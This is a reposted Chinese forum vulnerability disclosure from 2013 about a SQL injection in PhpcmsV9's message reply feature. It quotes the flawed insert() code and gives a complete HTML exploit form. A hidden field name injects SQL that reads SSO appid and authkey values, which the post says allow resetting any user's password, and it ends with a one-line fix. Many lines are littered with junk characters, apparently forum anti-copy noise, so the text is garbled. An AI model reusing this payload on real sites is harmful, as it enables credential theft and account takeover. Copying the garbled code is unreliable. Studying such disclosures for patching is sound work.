找回密码
 立即注册
查看: 2413|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:6 ~$ N( w8 q  ?/ F
# C7 k/ g; W/ u
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。* ~0 F5 r4 L3 W* \7 M$ s4 _. _
" G+ s: L9 w4 D4 }+ [
明天再更新下一个漏洞。$ G$ x$ d" i7 {, }; \. F% ]5 E
详细说明:1 H1 a8 B" L5 j3 k
在/phpcms9/phpcms/modules/message/index.php中有代码如下:3 z  x0 V# i. J- F
& Y& A. D2 A8 b& z! [( R! _
$messageid = $this->message_db->insert($_POST['info'],true);
) @" l- J5 I5 b% }0 U+ s% K- Z/ y8 o

7 h8 N: P; x- X# w% h3 pinsert方法是key value的,代码如下:6 |5 i3 w3 _4 C1 W$ c

% O: T. p; \+ a8 f; gpublic function insert($data, $table, $return_insert_id = false, $replace = false) {  G0 k9 \2 q5 ?6 H6 @
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
3 \$ l8 S$ M. R. W                        return false;
9 U/ R  j' d$ F1 m                }
* q) Q! A# p! T               
6 l- [8 F6 X$ C8 [+ a                $fielddata = array_keys($data);
% a% ~/ d( l; q- E: ]. c                $valuedata = array_values($data);
5 i% g4 K# @! v( e4 [) _                array_walk($fielddata, array($this, 'add_special_char'));
/ g& U! z: e+ S; K( q. Q; S6 X- u: Y                array_walk($valuedata, array($this, 'escape_string'));6 X* r+ ~. h" G! Y
               
6 n- \  n) |7 R7 u                $field = implode (',', $fielddata);
/ S) {- \/ i( G; L/ K                $value = implode (',', $valuedata);- n2 F+ ~) q8 C' A
% q, C5 u1 `0 N- C- e
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
6 n& M/ ^7 P( t$ h                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';, o0 O: n" y7 D; i% b$ Y" e. w
                $return = $this->execute($sql);
( V& V* q" w  j; N; N6 f( A                return $return_insert_id ? $this->insert_id() : $return;
  P+ G% k5 x  M2 o  ]9 B        }1 k1 ~3 n  s3 r+ K" O& G! I

: q* t$ `& |) n9 b# }5 `- _4 J; Z7 ?% @
嗯,很遗憾的是) ]- i+ \( @3 Q9 x9 X

( i8 e3 W$ ?0 T( @( ~array_walk($fielddata, array($this, 'add_special_char'));2 @; T8 N8 T3 Q: f5 {+ R
( D' ~& q0 u& C

5 h6 m  h2 f% O$ }& Z中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
, ~# t2 e. ^; W8 i8 s
0 Y  q7 K, G0 F5 ~" i4 E: E到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。0 G# }9 {. N2 l
, B0 a7 U" `/ p" F& e  p# S
漏洞证明:9 \3 Z# c: X, K' g. `6 B: r
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
) v$ \( \( C0 B* }* c8 H
, o' R" w6 a! v/ L+ q0 S! I; T4 {) S
表单如下:用户名什么的得自己改一改。8 {" a7 S1 O, P. o
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">, e" A  X# I2 B( f6 ?. N9 J3 f
<table width="100%" cellspacing="0" class="table_form">
3 p% h6 [  ^+ K- Q& @, W! x<tr>
1 M+ A$ s% d* N1 X5 H4 }9 a<th>标 题:</th>
1 \( P8 J* |1 e' q- I4 Y; |& W, A6 m<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
9 Z3 Z% r! z+ |+ B  r</tr>
* V, ~6 ~+ n+ a- J' v" W* }<tr>
& T, R2 ?8 S. O4 \3 f<th>内 容:</th>0 _9 z: T; v! q1 {# r' }
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
) D8 h3 y( ?6 ~7 D9 ?3 ~$ V* A</tr>
4 }. Q% B7 }  Q: M. E8 T( O. _<input type="hidden" name="info[replyid]" value="2" /> " S/ }* C# e: j! I1 r
<input type="hidden" name="info[send_to_id]" value="cc" /> 4 E0 c5 n' h- s5 {- ?* P
<input type="hidden" name="info[send_from_id]" value="hh">: w0 m/ l9 m2 Q. F/ _7 J; x# g$ w
<!-- 漏洞的利用重点在这里开始 -->2 i( F; c: h' \) e
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> , _6 n- V& f: h& C( L
<!-- 漏洞的利用重点在这里结束 -->% I! T! ~3 @1 D5 `
<tr>* q. Q8 S( U9 ]2 R( Y
<th>验证码:</th>
3 t2 h6 E5 M9 y1 a: A2 y/ E/ G<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
, x1 y' C$ ], q1 _2 S3 r5 |</tr>$ F; I4 Y: E$ U8 u/ G9 y4 G0 F  e3 ~9 m
<tr>
. b7 g& I6 r- T4 l# W: ]0 x<td></td>
1 E, c& Q. K( w: {, p  S<td colspan="2"><label>. N' m3 ?6 G  i8 j# ]' ?
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# r9 {( Q4 V3 M9 O$ q+ ?6 ~, O</label></td>) B. h0 V! N* C, _: {
</tr>
. B+ `4 M0 d8 l) P</table>
8 d( ~( x+ s! i5 j</form>% h/ {4 C; Y) F
在add_special_char函数内对key做过滤就可以了。
' ~- N$ ^% a  N6 I$ \3 o/ x6 R7 E6 c9 d8 F. t2 ~! {9 [4 N2 Z! Y
# n; [0 V2 C" t8 H. F$ d
- I( o6 d5 q; V  j! n

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表